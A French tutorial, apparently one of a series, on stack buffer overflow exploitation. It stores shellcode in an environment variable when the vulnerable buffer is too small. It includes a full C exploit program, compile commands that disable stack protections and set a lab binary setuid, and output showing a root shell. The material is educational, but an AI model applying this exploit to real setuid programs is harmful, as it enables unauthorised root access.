Débordement de tampon - utiliser l’environnement   Version imprimable de cet article Enregistrer au format PDF

Dans cet article nous allons étudier le cas, courant, où le buffer est trop petit pour accueillir notre buffer travaillé (NOP Sled + Shellcode + Adresse de retour). L’idée de l’exploitation est simple : l’utilisation des variables d’environnement.


par S3cur3D

Les variables d’environnement

Tout d’abord, qu’est-ce que les variables d’environnement ? Ce sont tout simplement des variables qui servent à décrire l’environnement, ou le contexte courant d’éxécution du programme. Un processus transmet son environnement à tous ses processus fils (en effectuant les modifications nécessaires, le nom, le niveau de shell, etc..). Voici un exemple d’environnement :

   $ env
   SSH_AGENT_PID=2406
   GPG_AGENT_INFO=/tmp/seahorse-KIiV1v/S.gpg-agent:2406:1
   SHELL=/bin/bash
   DESKTOP_STARTUP_ID=
   TERM=xterm
   GTK_RC_FILES=/etc/gtk/gtkrc:/home/********/.gtkrc-1.2-gnome2
   WINDOWID=50333027
   GTK_MODULES=gnomebreakpad
   USER=********
   LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;[...]35:*.mp3=01;35:*.mpc=01;35:*.ogg=01;35:*.wav=01;35:
   SSH_AUTH_SOCK=/tmp/ssh-bmxJtv2350/agent.2350.seahorse
   GNOME_KEYRING_SOCKET=/tmp/keyring-wLpfOw/socket
   SESSION_MANAGER=local/**********:/tmp/.ICE-unix/2350
   USERNAME=********
   DESKTOP_SESSION=gnome
   PATH=/usr/local/bin:/usr/bin:/bin:/usr/bin/X11:/usr/games
   GDM_XSERVER_LOCATION=local
   PWD=/home/********
   LANG=fr_FR@euro
   GDM_LANG=fr_FR@euro
   GDMSESSION=gnome
   HOME=/home/********
   SHLVL=1
   GNOME_DESKTOP_SESSION_ID=Default
   LOGNAME=********
   XDG_DATA_DIRS=/usr/local/share/:/usr/share/:/usr/share/gdm/
   DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-jZJI1myvcB,guid=a3ccea00256419218cc97a00472ca33e
   WINDOWPATH=7
   DISPLAY=:0.0
   COLORTERM=gnome-terminal
   XAUTHORITY=/home/********/.Xauthority
   _=/usr/bin/env
   $

Les variables d’environnement communes sont SHLVL (le nombre de shells au-dessus du processus courant), USER indique le nom d’utilisateur courant, SHELL le shell utilisé, PATH est la liste des chemins d’exécution par défaut (quand on tape une commande, la recherche est effectuée dans ces répertoires), _ contient le nom de la commande qui a lancé le processus en cours ; mais aussi beaucoup d’autres plus obscures comme LS_COLORS qui contient les couleurs utilisées pour chaque type de fichiers rencontrés à l’affichage (à noter que sous Linux, tout est fichier, les répertoires, symbolic links, hard links y compris).
Bien sûr, tout ce contexte d’exécution est accessible à tout programme en cours. La chose importante est que l’utilisateur est libre de faire évoluer ses processus dans l’environnement qu’il veut. Il peut ainsi notamment ajouter n’importe quelle variable d’environnement. Démonstration :

   $ export TEST="Nouvelle variable d'environnement"
   $ env
   SSH_AGENT_PID=2406
   GPG_AGENT_INFO=/tmp/seahorse-KIiV1v/S.gpg-agent:2406:1
   SHELL=/bin/bash
   DESKTOP_STARTUP_ID=
   TERM=xterm
   [...]
   LANG=fr_FR@euro
   GDM_LANG=fr_FR@euro
   GDMSESSION=gnome
   TEST=Nouvelle variable d'environnement
   [...]
   _=/usr/bin/env
   $

L’idée de l’exploitation devient triviale : voici la place pour stocker notre shellcode. Il nous suffit d’injecter notre shellcode dans l’environnement et d’y accéder ensuite depuis le programme d’exploitation.
Nous effectuons ici une parenthèse relative à la majorité des autres article sur le sujet : il n’est plus possible d’effectuer cette exploitation en lignes de commande, car les espaces mémoires ne peuvent plus être déterminés à l’avance depuis l’intégration commune du patch ASLR (Address Space Layout Randomization). Les variables d’environnement étant stockées au fond de la pile, si l’espace mémoire alloué est aléatoire, l’adresse de la variable d’environnement l’est aussi. On la récupère donc au début de notre programme d’exploitation. C’est aussi la raison qui fait que nous n’avons pas du tout développé l’exploitation des buffer-overflows sans programme d’exploitation.

Exploitation en dehors du buffer

Pour nous obliger à ne pas pouvoir utiliser le buffer, on modifie le programme stack-based_overflow en mettant un buffer ne comportant que 20 caractères. Ainsi, il n’y a pas assez de place pour injecter notre shellcode. Voici notre programme d’exploitation :

  1. //stack-based_exploit2.c Exploitation de l'environnement
  2.  
  3. #include <stdlib.h>
  4. #include <stdio.h>
  5. #include <unistd.h>
  6.  
  7. #define VAR_ENV "BYTECODE" //Variable d'environnement contenant le bytecode à insérérer
  8. #define LONG_BUFFER 40 //Longueur du buffer injecté
  9.  
  10.  
  11. int main() {
  12.  
  13. char *buffer;
  14. long env_var,*temp_addr;
  15. int i;
  16.  
  17. if (getenv(VAR_ENV) == NULL)
  18. {
  19. printf("Variable d'environnement %s non trouvée\n",VAR_ENV);
  20. exit(0); }
  21.  
  22. env_var = getenv(VAR_ENV);
  23.  
  24. printf("Contenu de la variable d'environnement %s à 0x%x: %s\n",VAR_ENV,env_var,env_var);
  25.  
  26. buffer = malloc(LONG_BUFFER);
  27.  
  28. temp_addr = (long *) buffer;
  29.  
  30. printf("Adresse cible à 0x%x\n",env_var);
  31.  
  32. for (i=0;i < LONG_BUFFER;i+=4) //Injection de l'adresse de retour
  33. *(temp_addr++) = env_var;
  34. buffer[LONG_BUFFER - 1] = 0;
  35.  
  36. execl("./stack-based_overflow2","stack-based_overflow2",buffer,0);
  37.  
  38. free(buffer);
  39.  
  40. return 0;
  41. }

Télécharger

Comme vous pouvez le constater, le programme d’exploitation ne change pas foncièrement, il est même plutôt simplifié, puisque le déterminisme total de l’adresse de retour voulue nous permet de nous affranchir du NOP Sled. Testons.

   $ su -
   Mot de passe :
   # gcc -m32 -fno-stack-protector -z execstack stack-based_overflow2.c -o stack-based_overflow2 && chmod +s stack-based_overflow2
   # logout
   $ export BYTECODE=`cat shellcode`
   $ gcc stack-based_exploit2.c -o stack-based__exploit2 && ./stack-based__exploit2
   Contenu de la variable d'environnement BYTECODE à 0xbf868e57: ë-^‰1ÀˆF‰F
   °
   ‰ó  V
   Í€1Û‰Ø@Í€èÜÿÿÿ/bin/sh
   Adresse cible à 0xbf868e57
   Votre nom, WŽ†¿WŽ†¿WŽ†¿WŽ†¿WŽ†¿WŽ†¿WŽ†¿WŽ†¿WŽ†¿WŽ†, a été enregistré avec succès
   sh-3.1# whoami
   root
   sh-3.1#

L’exploitation marche donc parfaitement. Vous l’aurez peut-être remarqué, nous avons mis deux ’_’ au nom de l’exécutable, tout simplement pour que le nom soit de la même taille que celui du programme vulnérable. Ainsi, la valeur de l’adresse de la variable d’environnement n’est pas modifiée (nous rappellons que le nom de l’éxécutable se trouve au fond de la pile, dans la variable _). Changer le nom invoquerait un décalage des adresses.
A noter qu’une autre technique similaire consister à glisser le shellcode dans les arguments de l’exécutable (paramètres d’appel), qui comportent l’avantage d’être à une distance à peu près fixe du buffer (le but est donc, non pas de faire sauter l’EIP dans le buffer vulnérable, mais dans les arguments de la fonction principale, dans le bas de la pile). Certains programmeur prennent soin, lorsque possible, de nettoyer l’environnement et les arguments non-nécessaires au début de l’exécution du programme.

Cet article conclut notre partie sur l’exploitation classique des buffer-overflows, la faille la plus répandue et certainement la plus dangereuse parmi les exécutables.

Documentations publiées dans cette rubrique Documentations publiées dans cette rubrique